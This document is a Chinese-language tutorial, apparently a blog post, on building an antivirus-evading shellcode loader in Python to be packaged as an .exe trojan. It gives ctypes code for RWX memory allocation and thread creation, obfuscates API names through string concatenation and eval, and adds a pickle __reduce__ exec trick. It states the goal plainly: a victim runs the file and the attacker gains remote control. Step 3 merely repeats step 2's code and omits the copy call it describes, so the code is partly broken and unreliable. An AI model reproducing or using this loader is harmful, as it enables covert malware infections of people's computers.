生成shellcode加载器,不论什么语言都能实现。从应用最广的Java和Pytho语言选择,我用Python实现shellcode加载器,原因2点:
(1)Java开发shellcode加载器,最终打成.exe包远远大于Python,谁愿意下载一个几十M的文件呢?(2)因为自己有一定的Python基础,所以这里对Python实现的源码来进行分析。
一、首先我们生成一个Python的马,如下图:
二、对Python生成shellcode源码分析
1. Ctypes
由于Python不能对内存进行操作,可以用ctypes跟c进行交互,用c操作内存
import ctypes,codecs,base64
# 64位编码
shellcode = "XHhmY1x4NDhceDgzXHhlNFx4ZjBceGU4XHhj" # base64解码 shellcode = base64.b64decode(shellcode) shellcode =codecs.escape_decode(shellcode)[0] shellcode = bytearray(shellcode)
2. 申请内存
- ctypes 是Python跟c交互的外部函数,用c分配内存,需要把数据转换为c的数据类型
- 参数:要分配的内存区域的地址、分配的大小、分配的类型、该内存的初始保护属性
- VirtualAlloc:分配大块内存,可用于 进程A和进程B之间通过共享内存来通信
- 该函数一个特性:可以预定指针地址和大小的虚拟内存空间,如果系统有足够大的空置区域能满足需求,则系统会将该块区域预定下来并返回预定内存的基地址,否则返回NULL
a = 'ctypes.windll.' + 'kernel32.VirtualAlloc' ptr = eval(a)(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40)) #一个指针地址 print(ptr)
3. 放入shellcode
- 指定内存复制内存至buf里面
- 参数:指向移动目的地址的指针、指向要复制的内存地址的指针、指定要复制的字节数
a = 'ctypes.windll.' + 'kernel32.VirtualAlloc' ptr = eval(a)(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40)) #一个指针地址 print(ptr)
4.创建一个线程
- 参数说明:指向安全属性的指针、初始堆栈大小、指向起始地址的指针、指向任何参数的指针、创建标志、指向接收线程标识符的值的指针
- 调用时,系统将创建一个进程和一个主线程,CreateThread将在主线程的基础上创建一个新线程
d = 'ctypes.windll.kernel32.' + 'CreateThread' ht = eval(d)(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
5. 等待上面创建的线程运行完
e = 'ctypes.windll.kernel32.WaitFor' + 'SingleObject' eval(e)(ctypes.c_int(ht),ctypes.c_int(-1))
6. 调用
class A(object): def __reduce__(self): return (exec, (shellcode,)) __reduce__ 被定义之后,对象被pickle之后被调用 ret = pickle.dumps(A()) print(ret) pickle.loads(ret)
7. 最终达到目的
最后生成exe可执行文件
用户直接 执行exe,便种下一个免杀木马,攻击者便可以远控你的电脑
8. 最后测试木马免杀效果
9. 然后给沙箱